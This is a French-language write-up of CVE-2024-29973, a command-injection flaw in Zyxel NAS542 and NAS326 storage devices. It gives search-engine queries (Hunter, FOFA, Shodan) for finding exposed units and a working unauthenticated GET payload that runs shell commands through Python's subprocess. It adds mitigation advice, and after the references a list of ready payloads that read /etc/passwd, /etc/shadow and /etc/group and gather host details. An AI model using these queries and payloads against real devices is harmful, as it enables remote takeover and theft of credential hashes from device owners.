CVE-2024-29973 est une vulnérabilité critique présente dans certains appareils réseau Zyxel. Cette vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes arbitraires sur l'appareil cible en exploitant des mécanismes de validation d'entrée insuffisants dans le firmware. Les attaquants peuvent envoyer des requêtes HTTP spécialement conçues à l'appareil, injecter des commandes système et potentiellement prendre le contrôle total de l'appareil.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Injection de commande : La vulnérabilité provient d'un assainissement insuffisant des entrées dans l'une des interfaces web de l'appareil. Cette faille permet aux attaquants d'ajouter des commandes du système d'exploitation dans les paramètres des requêtes HTTP.
Exemple d'exploitation : Les attaquants peuvent injecter des commandes via une requête HTTP GET, comme celle ci-dessous, pour exécuter du code arbitraire :
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impact : Une exploitation réussie permet d'exécuter des commandes système, ce qui peut conduire à une prise de contrôle à distance de l'appareil, à une fuite de données ou à un compromis supplémentaire du réseau.
Pour atténuer les risques associés à cette vulnérabilité, suivez ces étapes :
Mise à jour du firmware : Assurez-vous que tous les appareils Zyxel sont mis à jour avec la dernière version du firmware. Zyxel a publié des correctifs qui traitent cette vulnérabilité. Vérifiez régulièrement les mises à jour et appliquez-les rapidement.
Segmentation du réseau : Isolez les appareils vulnérables de l'infrastructure réseau critique. N'exposez que les services nécessaires et assurez-vous que les interfaces d'administration ne sont pas accessibles publiquement.
Configuration du pare-feu : Limitez le trafic entrant et sortant aux seuls services essentiels. Bloquez tout accès HTTP inutile aux appareils Zyxel.
Surveillance des activités suspectes : Mettez en place des outils de journalisation et de surveillance capables de détecter et d'alerter sur tout comportement inhabituel, comme des tentatives de connexion répétées ou des schémas de trafic anormaux.
Références National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1